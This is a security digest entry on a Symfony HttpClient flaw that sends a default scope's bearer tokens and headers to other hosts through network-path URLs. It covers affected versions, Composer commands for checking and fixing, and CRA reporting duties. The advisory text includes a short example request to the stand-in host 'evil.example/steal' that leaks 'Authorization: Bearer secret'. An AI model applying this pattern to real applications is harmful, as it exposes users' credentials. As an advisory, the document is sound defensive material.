PatchClock

PHP security digest · 1 Dec 2026

Symfony: ScopingHttpClient Sends the Credentials of Its Default Scope to Other Origins Through Network-Path References

High CVE-2026-121971

Packages
symfony/http-client, symfony/symfony
Fixed in
5.4.56, 6.4.50, 7.4.23, 8.1.11
Published
Tue 1 Dec 2026, 21:25 LisbonUpdated Wed 2 Dec 2026, 00:45 Lisbon
Installs on Packagist
404M

In plain words

An attacker who controls the beginning of a URL passed to an affected scoped HTTP client can make it send the default scope's credentials to another origin. This happens when the client has a default base_uri and a network-path reference redirects the request elsewhere while retaining options such as authentication or headers. Requests that resolve to another scope can also receive the default scope's credentials instead of their own.

Affected versions

PackageAffectedFixed in
symfony/http-client< 5.4.565.4.56
symfony/http-client>= 6.0.0, < 6.4.506.4.50
symfony/http-client>= 7.0.0, < 7.4.237.4.23
symfony/http-client>= 8.0.0, < 8.1.118.1.11
symfony/symfony< 5.4.565.4.56
symfony/symfony>= 6.0.0, < 6.4.506.4.50
symfony/symfony>= 7.0.0, < 7.4.237.4.23
symfony/symfony>= 8.0.0, < 8.1.118.1.11

How serious is it?

High is a CVSS score of 7.0 to 8.9: serious impact with few preconditions. Plan the update within days, ahead of feature work, and check the logs for signs it was tried.

symfony/http-client has 404M installs on Packagist, so the advisory reaches a large number of projects: expect scanners to look for it soon.

Am I affected?

Check composer.lock for symfony/http-client or symfony/symfony in these affected ranges: < 5.4.56, >= 6.0.0, < 6.4.50, >= 7.0.0, < 7.4.23, or >= 8.0.0, < 8.1.11. Then look for ScopingHttpClient with a default base_uri, HttpClient::createForBaseUri(), or clients configured with base_uri under framework.http_client.scoped_clients. Check whether the default scope supplies credentials through options such as auth_bearer, auth_basic, headers or local_cert, and whether an attacker can control the beginning of a request URL, including through user input or a remote API response.

Did you install symfony/http-client, or did a dependency?

Composer says why a package is in your project:

composer why symfony/http-client

If the output names your own project, you required symfony/http-client directly and the update is yours to make. If it names another package, symfony/http-client came in through it, and that package's version constraint decides which release you can install. To see what stands between you and the fix, ask Composer directly:

composer why-not symfony/http-client 5.4.56

Every line it prints is a constraint that blocks 5.4.56. Update the package it names, or raise your own constraint, and run it again until it prints nothing. If you stay on an older branch, ask about its fix instead: 6.4.50, 7.4.23, 8.1.11.

What to do

Check which version you have, then update to a fixed release for your branch (5.4.56, 6.4.50, 7.4.23, 8.1.11):

composer show symfony/http-client | grep versions
composer update symfony/http-client

If your version constraint in composer.json keeps you below a fixed release, raise it first. Whether your configuration is affected, and the exact version ranges, are in the advisory itself.

Check the whole project at once

Composer 2.4 and later can list every installed package with a known advisory, this one included once Packagist has it:

composer audit --locked

--locked reads composer.lock instead of the vendor folder, so you can run it on a release tag or in CI without installing anything. It exits with a non-zero code when it finds an advisory, which is enough to fail a build. Run it on every branch you still support, not only the newest: an older release your customers run is affected in the same way.

Under the Cyber Resilience Act

CRA Article 14 timeline: aware of exploitation at hour 0, early warning within 24 hours, notification within 72 hours, final report within 14 days after the fix.

No exploitation of this vulnerability is known, so on its own it does not start the Article 14 reporting clock, which covers actively exploited vulnerabilities. That changes if you learn it is being exploited through your product: then the 24-hour early warning applies.

Either way, if symfony/http-client ships inside a product you sell, the CRA treats its vulnerabilities as yours. Article 13(5) asks for due diligence on the components you include, and from 11 December 2027 Annex I asks you to ship security fixes without delay and free of charge for the support period you declared. A short note in your changelog saying which release updated symfony/http-client, and why, is the evidence you will want later.

What goes in each Article 14 report · Does the CRA apply to your product?

symfony/http-client's record

This is the only advisory for symfony/http-client since the digest started following Composer packages in September 2026. One advisory says little about a package's quality; what matters is how fast the fix came, and here it is out.

The advisory's description

Description

ScopingHttpClient applies the options of a scope, such as auth_bearer, auth_basic, headers or local_cert, to the URLs that match that scope only. A relative URL is resolved against the base_uri of the default scope, and the options of that scope were merged before the URL was resolved. A network-path reference such as //evil.example/steal carries its own host: it resolves to a URL outside of the base URI's origin, which no scope matches, yet it kept the merged options, so the request was sent to that host with the credentials of the default scope. The absolute spelling of the same URL, https://evil.example/steal, gets none of them.

$client = ScopingHttpClient::forBaseUri(HttpClient::create(), 'https://api.example.com/', [
    'auth_bearer' => 'secret',
]);

$client->request('GET', '//evil.example/steal'); // sent to evil.example with "Authorization: Bearer secret"

This is how HttpClient::createForBaseUri() builds its client, and how the scoped clients configured with a base_uri under framework.http_client.scoped_clients are built. An application is exposed when an attacker controls the beginning of a URL passed to such a client, for example a path taken from user input or a URL taken from a remote API response. The same happened for another port or a user-info part on the same host, and when the resolved URL matched another scope, the credentials of the default scope were sent instead of that scope's own.

Resolution

After resolving a relative URL against the base URI of the default scope, ScopingHttpClient now compares the scheme and authority of the result with those of the base URI, parsed the way the request is sent. When they differ, the options of the default scope are dropped and the URL is matched against the scopes as if it had been passed in its absolute form. Relative URLs that stay on the scheme and authority of the base URI keep the options, including those that resolve outside of its path.

The user-info part counts as part of the authority: //user@api.example.com/ does not receive the options of the default scope anymore.

The patches for this issue are available here for branch 5.4 (and forward-ported to 6.4, 7.4, 8.1 and 8.2).

Credits

Symfony would like to thank Thomas Chauchefoin from Trail of Bits for reporting the issue and Nicolas Grekas for providing the fix.

Symfony would also like to thank Bruno Dias and Catarina Amorim from Checkmarx for their help getting a CVE assigned.

Weakness: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor; CWE-522 Insufficiently Protected Credentials. Reported by thomas-chauchefoin-tob, nicolas-grekas.

CWE-200. Information exposure: data reaches someone who should not see it, such as other users' records, paths or configuration.

The advisory

From OSV.dev, which gathers the GitHub Advisory Database, FriendsOfPHP and Drupal security advisories; the summary is theirs. The description, affected versions, weakness and credits are from the GitHub Advisory Database (CC BY 4.0). "In plain words", "Am I affected?" and "If you cannot update yet" are based on that advisory, and checked to name no version it does not.